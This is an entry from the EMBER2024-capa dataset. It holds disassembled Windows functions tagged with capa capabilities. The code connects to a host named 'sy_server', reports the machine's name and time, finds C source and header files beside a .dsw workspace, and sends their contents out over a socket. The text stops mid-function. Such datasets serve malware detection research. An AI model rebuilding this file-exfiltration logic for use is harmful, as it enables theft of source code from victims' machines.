joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42d8e0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push ebx
push esi
push edi
lea edi, [ebp - 0x68]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
push str.sy_server
call sub.WSOCK32.dll_gethostbyname
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x42d912
xor al, al
jmp 0x42d9e1
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0
je 0x42d943
push 4
mov eax, dword [ebp - 0x10]
push eax
lea ecx, [ebp - 4]
push ecx
call fcn.0045b950
add esp, 0xc
mov edx, dword [ebp - 4]
push edx
call sub.WSOCK32.dll_inet_ntoa
mov dword [ebp - 8], eax
jmp 0x42d94a
xor al, al
jmp 0x42d9e1
push 6
push 1
push 2
call sub.WSOCK32.dll_socket
mov dword [0x7108d8], eax
cmp dword [0x7108d8], 0xffffffff
jne 0x42d967
xor al, al
jmp 0x42d9e1
mov eax, dword [ebp - 8]
push eax
call sub.WSOCK32.dll_inet_addr
mov dword [ebp - 0x18], eax
push 2
push 4
lea ecx, [ebp - 0x18]
push ecx
call sub.WSOCK32.dll_gethostbyaddr
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x42d999
mov edx, dword [0x7108d8]
push edx
call sub.WSOCK32.dll_closesocket
xor al, al
jmp 0x42d9e1
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [ebp - 0x24], eax
mov word [ebp - 0x28], 2
push 0x7d8
call sub.WSOCK32.dll_htons
mov word [ebp - 0x26], ax
push 0x10
lea ecx, [ebp - 0x28]
push ecx
mov edx, dword [0x7108d8]
push edx
call sub.WSOCK32.dll_connect
test eax, eax
je 0x42d9df
mov eax, dword [0x7108d8]
push eax
call sub.WSOCK32.dll_closesocket
xor al, al
jmp 0x42d9e1
mov al, 1
pop edi
pop esi
pop ebx
add esp, 0x68
cmp ebp, esp
call fcn.00457ec0
mov esp, ebp
pop ebp
ret
Function at 0x42da00
Capabilities:
Get hostname
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x85c
push ebx
push esi
push edi
lea edi, [ebp - 0x85c]
mov ecx, 0x217
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov byte [ebp - 0x404], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x403]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov word [ebp - 0x414], 0
xor eax, eax
mov dword [ebp - 0x412], eax
mov dword [ebp - 0x40e], eax
mov dword [ebp - 0x40a], eax
mov word [ebp - 0x406], ax
push 0
push 0x400
lea ecx, [ebp - 0x818]
push ecx
mov edx, dword [0x7108d8]
push edx
call sub.WSOCK32.dll_recv
mov dword [ebp - 0x81c], eax
mov eax, dword [ebp - 0x81c]
mov byte [ebp + eax - 0x818], 0
push str.auth_ncut_r_n
lea ecx, [ebp - 0x818]
push ecx
call fcn.00457c10
add esp, 8
push 0
lea edx, [ebp - 0x818]
push edx
call fcn.00457a90
add esp, 4
push eax
lea eax, [ebp - 0x818]
push eax
mov ecx, dword [0x7108d8]
push ecx
call sub.WSOCK32.dll_send
push 0
push 0x400
lea edx, [ebp - 0x818]
push edx
mov eax, dword [0x7108d8]
push eax
call sub.WSOCK32.dll_recv
mov dword [ebp - 0x81c], eax
mov ecx, dword [ebp - 0x81c]
mov byte [ebp + ecx - 0x818], 0
push 0x400
push 0
lea edx, [ebp - 0x818]
push edx
call fcn.00457a30
add esp, 0xc
push 0x80
push 0
push 0x710cf8
call fcn.00457a30
add esp, 0xc
push 0x80
push 0x710cf8
call sub.WSOCK32.dll_gethostname
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0
je 0x42db4e
push str.lost
push 0x4e2610
push 0x710cf8
call fcn.00457b10
add esp, 0xc
push 0x60
push 0
push 0x710d18
call fcn.00457a30
add esp, 0xc
mov esi, esp
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
cmp esi, esp
call fcn.00457ec0
push 0x710d98
mov ecx, dword [ebp - 0x40a]
and ecx, 0xffff
push ecx
mov edx, dword [ebp - 0x40c]
and edx, 0xffff
push edx
mov eax, dword [ebp - 0x40e]
and eax, 0xffff
push eax
mov ecx, dword [ebp - 0x412]
and ecx, 0xffff
push ecx
mov edx, dword [ebp - 0x414]
and edx, 0xffff
push edx
mov eax, dword [0x4edd54]
push eax
mov ecx, dword [0x4edd50]
push ecx
push 0x710d78
push 0x710cf8
push str.win32info__s_s_d__d_d_02d_02d_02d_02d_s_r_n
lea edx, [ebp - 0x404]
push edx
call fcn.00457b10
add esp, 0x30
lea eax, [ebp - 0x404]
push eax
push 0x4e2610
lea ecx, [ebp - 0x818]
push ecx
call fcn.00457b10
add esp, 0xc
push 0
lea edx, [ebp - 0x818]
push edx
call fcn.00457a90
add esp, 4
push eax
lea eax, [ebp - 0x818]
push eax
mov ecx, dword [0x7108d8]
push ecx
call sub.WSOCK32.dll_send
push 0
push 0x400
lea edx, [ebp - 0x818]
push edx
mov eax, dword [0x7108d8]
push eax
call sub.WSOCK32.dll_recv
mov dword [ebp - 0x81c], eax
pop edi
pop esi
pop ebx
add esp, 0x85c
cmp ebp, esp
call fcn.00457ec0
mov esp, ebp
pop ebp
ret
Function at 0x42dc60
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x450
push ebx
push esi
push edi
lea edi, [ebp - 0x450]
mov ecx, 0x114
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
push 0x4e2584
mov eax, dword [ebp + 0xc]
push eax
call fcn.00458730
add esp, 8
mov dword [ebp - 0x404], eax
cmp dword [ebp - 0x404], 0
jne 0x42dca5
xor eax, eax
jmp 0x42ddde
push 0x400
push 0
lea ecx, [ebp - 0x400]
push ecx
call fcn.00457a30
add esp, 0xc
mov edx, dword [ebp + 0x10]
push edx
push str.modissend__s_r_n
lea eax, [ebp - 0x400]
push eax
call fcn.00457b10
add esp, 0xc
push 0
lea ecx, [ebp - 0x400]
push ecx
call fcn.00457a90
add esp, 4
push eax
lea edx, [ebp - 0x400]
push edx
mov eax, dword [ebp + 8]
push eax
call sub.WSOCK32.dll_send
push 0
push 0x400
lea ecx, [ebp - 0x400]
push ecx
mov edx, dword [ebp + 8]
push edx
call sub.WSOCK32.dll_recv
mov dword [ebp - 0x410], eax
mov eax, 1
test eax, eax
je 0x42dd7c
mov ecx, dword [ebp - 0x404]
push ecx
push 0x400
push 1
lea edx, [ebp - 0x400]
push edx
call fcn.004580b0
add esp, 0x10
mov dword [ebp - 0x408], eax
push 0
mov eax, dword [ebp - 0x408]
push eax
lea ecx, [ebp - 0x400]
push ecx
mov edx, dword [ebp + 8]
push edx
call sub.WSOCK32.dll_send
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x408], 0x400
jge 0x42dd7a
mov eax, dword [ebp - 0x404]
push eax
call fcn.00458a80
add esp, 4
jmp 0x42dd7c
jmp 0x42dd12
push 0x4e2b4c
push str.SEND_OK
push str._s__s
lea ecx, [ebp - 0x400]
push ecx
call fcn.00457b10
add esp, 0x10
push 0
lea edx, [ebp - 0x400]
push edx
call fcn.00457a90
add esp, 4
push eax
lea eax, [ebp - 0x400]
push eax
mov ecx, dword [ebp + 8]
push ecx
call sub.WSOCK32.dll_send
push 0
push 0x400
lea edx, [ebp - 0x400]
push edx
mov eax, dword [ebp + 8]
push eax
call sub.WSOCK32.dll_recv
mov dword [ebp - 0x410], eax
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x450
cmp ebp, esp
call fcn.00457ec0
mov esp, ebp
pop ebp
ret
Function at 0x42de00
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x984
push ebx
push esi
push edi
lea edi, [ebp - 0x984]
mov ecx, 0x261
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov byte [ebp - 0x544], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x543]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x944], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x943]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [0x710cf0], 0
push 0x20000
push 0
push 0x6f08d8
call fcn.00457a30
add esp, 0xc
push str._src.h
push 0x710d98
push str._s_s
lea eax, [ebp - 0x544]
push eax
call fcn.00457b10
add esp, 0x10
mov esi, esp
lea ecx, [ebp - 0x140]
push ecx
lea edx, [ebp - 0x544]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp esi, esp
call fcn.00457ec0
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0
je 0x42df07
lea eax, [ebp - 0x114]
push eax
mov ecx, dword [0x710cf0]
shl ecx, 0xa
add ecx, 0x6f08d8
push ecx
call fcn.00457c10
add esp, 8
mov edx, dword [0x710cf0]
add edx, 1
mov dword [0x710cf0], edx
mov esi, esp
lea eax, [ebp - 0x140]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
cmp esi, esp
call fcn.00457ec0
test eax, eax
jne 0x42deb8
push str._src.c
push 0x710d98
push str._s_s
lea edx, [ebp - 0x944]
push edx
call fcn.00457b10
add esp, 0x10
mov esi, esp
lea eax, [ebp - 0x140]
push eax
lea ecx, [ebp - 0x944]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp esi, esp
call fcn.00457ec0
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0
je 0x42df9e
lea edx, [ebp - 0x114]
push edx
mov eax, dword [0x710cf0]
shl eax, 0xa
add eax, 0x6f08d8
push eax
call fcn.00457c10
add esp, 8
mov ecx, dword [0x710cf0]
add ecx, 1
mov dword [0x710cf0], ecx
mov esi, esp
lea edx, [ebp - 0x140]
push edx
mov eax, dword [ebp - 0x144]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
cmp esi, esp
call fcn.00457ec0
test eax, eax
jne 0x42df51
mov eax, dword [0x710cf0]
pop edi
pop esi
pop ebx
add esp, 0x984
cmp ebp, esp
call fcn.00457ec0
mov esp, ebp
pop ebp
ret
Function at 0x42dfc0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x844
push ebx
push esi
push edi
lea edi, [ebp - 0x844]
mov ecx, 0x211
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov byte [ebp - 0x400], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x3ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x800], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x7ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x804], 0
jmp 0x42e02b
mov eax, dword [ebp - 0x804]
add eax, 1
mov dword [ebp - 0x804], eax
mov ecx, dword [ebp - 0x804]
cmp ecx, dword [0x710cf0]
jge 0x42e0a7
push 0x400
push 0
lea edx, [ebp - 0x400]
push edx
call fcn.00457a30
add esp, 0xc
mov eax, dword [ebp - 0x804]
shl eax, 0xa
add eax, 0x6f08d8
push eax
push str._src_
push 0x710d98
push str._s_s_s
lea ecx, [ebp - 0x400]
push ecx
call fcn.00457b10
add esp, 0x14
mov edx, dword [ebp - 0x804]
shl edx, 0xa
add edx, 0x6f08d8
push edx
lea eax, [ebp - 0x400]
push eax
mov ecx, dword [0x7108d8]
push ecx
call fcn.0042dc60
add esp, 0xc
jmp 0x42e01c
push 0x710cf8
push str.win32name__s_r_n
lea edx, [ebp - 0x800]
push edx
call fcn.00457b10
add esp, 0xc
push 0
lea eax, [ebp - 0x800]
push eax
call fcn.00457a90
add esp, 4
push eax
lea ecx, [ebp - 0x800]
push ecx
mov edx, dword [0x7108d8]
push edx
call sub.WSOCK32.dll_send
push 0
push 0x400
lea eax, [ebp - 0x800]
push eax
mov ecx, dword [0x7108d8]
push ecx
call sub.WSOCK32.dll_recv
pop edi
pop esi
pop ebx
add esp, 0x844
cmp ebp, esp
call fcn.00457ec0
mov esp, ebp
pop ebp
ret
Function at 0x42e240
Capabilities:
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3d90
call fcn.00458750
push ebx
push esi
push edi
lea edi, [ebp - 0x3d90]
mov ecx, 0xf64
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov byte [ebp - 0x3544], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x3543]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x3944], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x3943]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x3d44], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x3d43]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x1000
push 0
lea eax, [ebp - 0x1144]
push eax
call fcn.00457a30
add esp, 0xc
mov esi, esp
lea ecx, [ebp - 0x1144]
push ecx
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
cmp esi, esp
call fcn.00457ec0
lea edx, [ebp - 0x1144]
push edx
push 0x4e2610
lea eax, [ebp - 0x3544]
push eax
call fcn.00457b10
add esp, 0xc
lea ecx, [ebp - 0x3544]
push ecx
call fcn.00457a90
add esp, 4
cmp eax, 0x400
jbe 0x42e314
jmp 0x42e4b5
push str..dsw
lea edx, [ebp - 0x3544]
push edx
push str._s_s
lea eax, [ebp - 0x3d44]
push eax
call fcn.00457b10
add esp, 0x10
mov esi, esp
lea ecx, [ebp - 0x140]
push ecx
lea edx, [ebp - 0x3d44]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp esi, esp
call fcn.00457ec0
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0
je 0x42e38e
push 0x400
push 0
lea eax, [ebp - 0x3944]
push eax
call fcn.00457a30
add esp, 0xc
lea ecx, [ebp - 0x114]
push ecx
lea edx, [ebp - 0x3944]
push edx
call fcn.00457c10
add esp, 8
jmp 0x42e393
jmp 0x42e4b5
lea eax, [ebp - 0x3944]
push eax
call fcn.00457a90
add esp, 4
cmp eax, 4
ja 0x42e3ac
jmp 0x42e4b5
push 0x2e
lea ecx, [ebp - 0x3944]
push ecx
call fcn.004589d0
add esp, 8
mov dword [ebp - 0x3d48], eax
cmp dword [ebp - 0x3d48], 0
je 0x42e3eb
push 0x4e2b90
mov edx, dword [ebp - 0x3d48]
push edx
call fcn.00458dc0
add esp, 8
test eax, eax
je 0x42e3e9
jmp 0x42e4b5
jmp 0x42e3f0
jmp 0x42e4b5
lea eax, [ebp - 0x3944]
push eax
call fcn.00457a90
add esp, 4
sub eax, 4
push eax
lea ecx, [ebp - 0x3944]
push ecx
push 0x710d78
call fcn.004576f0
add esp, 0xc
push 0x5c
lea edx, [ebp - 0x3544]
push edx
call fcn.004589d0
add esp, 8
mov dword [ebp - 0x3d4c], eax
cmp dword [ebp - 0x3d4c], 0
je 0x42e470
lea eax, [ebp - 0x3544]
push eax
call fcn.00457a90
add esp, 4
mov esi, eax
mov ecx, dword [ebp - 0x3d4c]
push ecx
call fcn.00457a90
add esp, 4
sub esi, eax
push esi
lea edx, [ebp - 0x3544]
push edx
push 0x710d98
call fcn.004576f0
add esp, 0xc
jmp 0x42e472
jmp 0x42e4b5
call fcn.0042de00
test eax, eax
jle 0x42e4b5
mov esi, esp
push 0
push 0
push 0
push 0x42e120
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp esi, esp
call fcn.00457ec0
mov dword [ebp - 0x3d50], eax
mov esi, esp
mov eax, dword [ebp - 0x3d50]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.00457ec0
pop edi
pop esi
pop ebx
add esp, 0x3d90
cmp ebp, esp
call fcn.00457ec0
mov esp, ebp
pop ebp
ret
Function at 0x44e690
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
lea edi, [ebp - 0x44]
mov ecx, 0x11
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov dword [ebp - 4], 0x100
mov eax, dword [ebp + 0x10]
or ah, 1
mov dword [ebp + 0x10], eax
mov ecx, dword [ebp + 0x14]
shl ecx, 1
mov dword [ebp + 0x14], ecx
mov edx, dword [ebp + 0x10]
shr edx, 7
and edx, 1
push edx
mov eax, dword [ebp + 0x14]
and eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
add ecx, eax
mov edx, dword [ebp + 0x10]
shr edx, 8
add ecx, edx
mov eax, dword [ebp + 0xc]
lea ecx, [eax + ecx*2]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.0044e550
add esp, 0xc
mov eax, dword [ebp + 0x10]
shl eax, 1
mov dword [ebp + 0x10], eax
mov ecx, dword [ebp + 0x14]
xor ecx, dword [ebp + 0x10]
not ecx
mov edx, dword [ebp - 4]
and edx, ecx
mov dword [ebp - 4], edx
cmp dword [ebp + 0x10], 0x10000
jb 0x44e6b8
pop edi
pop esi
pop ebx
add esp, 0x44
cmp ebp, esp
call fcn.00457ec0
mov esp, ebp
pop ebp
ret

Function at 0x450900
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
lea edi, [ebp - 0x44]
mov ecx, 0x11
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0xc]
or ah, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
shr ecx, 8
mov edx, dword [ebp + 8]
xor eax, eax
mov ax, word [edx + ecx*2]
mov ecx, dword [ebp + 0xc]
shr ecx, 7
and ecx, 1
neg ecx
and ecx, 0x7ff
xor eax, ecx
sar eax, 4
mov edx, dword [ebp + 0x10]
mov ecx, dword [ebp - 4]
add ecx, dword [edx + eax*4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 0xc]
shl edx, 1
mov dword [ebp + 0xc], edx
cmp dword [ebp + 0xc], 0x10000
jb 0x450928
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x450980
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
lea edi, [ebp - 0x48]
mov ecx, 0x12
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0x100
mov eax, dword [ebp + 0xc]
or ah, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0x10]
shl ecx, 1
mov dword [ebp + 0x10], ecx
mov edx, dword [ebp + 0x10]
and edx, dword [ebp - 8]
mov eax, dword [ebp - 8]
add eax, edx
mov ecx, dword [ebp + 0xc]
shr ecx, 8
add eax, ecx
mov edx, dword [ebp + 8]
xor ecx, ecx
mov cx, word [edx + eax*2]
mov edx, dword [ebp + 0xc]
shr edx, 7
and edx, 1
neg edx
and edx, 0x7ff
xor ecx, edx
sar ecx, 4
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp - 4]
add edx, dword [eax + ecx*4]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0xc]
shl eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0x10]
xor ecx, dword [ebp + 0xc]
not ecx
mov edx, dword [ebp - 8]
and edx, ecx
mov dword [ebp - 8], edx
cmp dword [ebp + 0xc], 0x10000
jb 0x4509af
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x455240
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
lea edi, [ebp - 0x4c]
mov ecx, 0x13
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
mov dword [eax + 0x30], 0
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x4c], 0
mov edx, dword [ebp + 8]
mov dword [edx + 0x20], 0
mov eax, dword [ebp + 8]
push eax
call fcn.00455300
add esp, 4
mov dword [ebp - 4], 0
jmp 0x455294
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0x100
jae 0x4552e7
mov edx, dword [ebp - 4]
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], 0
jmp 0x4552b5
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 8
jge 0x4552d8
mov ecx, dword [ebp - 8]
shr ecx, 1
mov edx, dword [ebp - 8]
and edx, 1
sub edx, 1
not edx
and edx, 0xedb88320
xor ecx, edx
mov dword [ebp - 8], ecx
jmp 0x4552ac
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 8]
mov dword [ecx + eax*4 + 0x6c], edx
jmp 0x45528b
pop edi
pop esi
pop ebx
add esp, 0x4c
cmp ebp, esp
call fcn.00457ec0
mov esp, ebp
pop ebp
ret

Function at 0x46cef0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x46cf0f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x46cf16
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x46cf2d
mov ecx, dword [ebp - 4]
push ecx
call fcn.004681c0
add esp, 4
or eax, 0xffffffff
jmp 0x46cf2f
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x46cf40
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x46cf6b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004681c0
add esp, 4
or eax, 0xffffffff
jmp 0x46cf9a
mov ecx, dword [ebp - 4]
and ecx, 1
test ecx, ecx
je 0x46cf98
mov edx, dword [ebp + 0xc]
and edx, 2
test edx, edx
je 0x46cf98
mov dword [0x717504], 0xd
mov dword [0x717508], 5
or eax, 0xffffffff
jmp 0x46cf9a
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x402023
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0x108
call fcn.00414937
add esp, 4
mov dword [ebp - 4], eax
mov edi, eax
mov esi, 0x4e501e
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
mov ecx, 0x40
rep stosd dword es:[edi], eax
push 0x108
call fcn.00414937
add esp, 4
mov dword [ebp - 8], eax
mov edi, eax
mov esi, 0x4e501e
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
mov ecx, 0x40
rep stosd dword es:[edi], eax
mov dword [ebp - 0xc], 0
mov ebx, dword [ebp - 4]
call fcn.00401bd5
mov eax, 0
cmp eax, ecx
jl 0x4020a3
push 0
push 0x40202cf
push 1
call fcn.0041492b
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x10], ebx
mov ebx, dword [ebp - 0x10]
mov byte [ebx], 0
mov ebx, dword [ebp - 8]
call fcn.00401bd5
mov eax, 0
cmp eax, ecx
jl 0x4020d6
push 0x29
push 0x40202cf
push 1
call fcn.0041492b
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x10], ebx
mov ebx, dword [ebp - 0x10]
mov byte [ebx], 0
mov eax, dword [ebp - 4]
add eax, 8
mov ecx, pe_nt_image_headers32
xor ebx, ebx
sub bl, cl
mov byte [ebx + eax], bl
loop 0x4020ec
push eax
mov edx, dword [ebp + 0x10]
mov edx, dword [edx]
mov edi, dword [edx + 4]
add edx, 8
mov esi, dword [ebp - 8]
add esi, 8
mov ecx, pe_nt_image_headers32
xor ebx, ebx
cmp ebx, edi
jb 0x402114
xor ebx, ebx
mov ah, byte [ebx + edx]
mov byte [esi], ah
inc esi
inc ebx
loop 0x40210e
pop edi
xor ebx, ebx
sub esi, 0x100
xor eax, eax
mov ecx, pe_nt_image_headers32
mov dl, byte [eax + esi]
add bl, dl
mov dl, byte [eax + edi]
add bl, dl
mov dl, byte [eax + edi]
mov dh, byte [ebx + edi]
mov byte [eax + edi], dh
mov byte [ebx + edi], dl
inc eax
loop 0x40212d
mov esi, dword [ebp + 8]
mov esi, dword [esi]
mov ecx, dword [esi + 4]
mov dword [ebp - 0xc], ecx
add esi, 8
push 0x80000301
push 0
push dword [ebp - 0xc]
push 1
mov ebx, 0x416090
call fcn.00414943
add esp, 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
mov ebx, dword [ebp + 0xc]
mov ebx, dword [ebx]
test ebx, ebx
je 0x402189
push ebx
call fcn.0041493d
add esp, 4
pop eax
mov ebx, dword [ebp + 0xc]
mov dword [ebx], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 0xc]
mov edx, dword [edx]
add edx, 8
xor eax, eax
xor ebx, ebx
push ecx
movzx ecx, al
inc cl
push edx
mov dh, byte [ecx + edi]
add bl, dh
mov dl, byte [ebx + edi]
mov byte [ecx + edi], dl
mov byte [ebx + edi], dh
add dl, dh
movzx edx, dl
mov dl, byte [edx + edi]
mov cl, byte [eax + esi]
xor cl, dl
pop edx
mov byte [eax + edx], cl
inc eax
pop ecx
loop 0x40219e
mov ebx, dword [ebp - 4]
push ebx
call fcn.0041493d
add esp, 4
mov ebx, dword [ebp - 8]
push ebx
call fcn.0041493d
add esp, 4
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4213d0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4bda4b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004b184a
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x421452
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004af05f
mov eax, dword [eax]
push 0x50acd0
push eax
call fcn.004a1274
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004b1ad5
test bl, bl
je 0x421452
push 0x50acd0
lea ecx, [esp + 0xc]
call fcn.004b1e65
push 0x50acdc
lea ecx, [esp + 0xc]
call fcn.004b1e65
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x42148e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004b1ad5
jmp 0x421559
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x421512
lea edx, [esp + 0x7c]
push 0x50acd8
push edx
call fcn.004a1274
add esp, 8
test eax, eax
je 0x421512
lea eax, [esp + 0x7c]
push 0x50acd4
push eax
call fcn.004a1274
add esp, 8
test eax, eax
je 0x421512
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4214a2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004b1ad5
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x421d80
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x421de2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
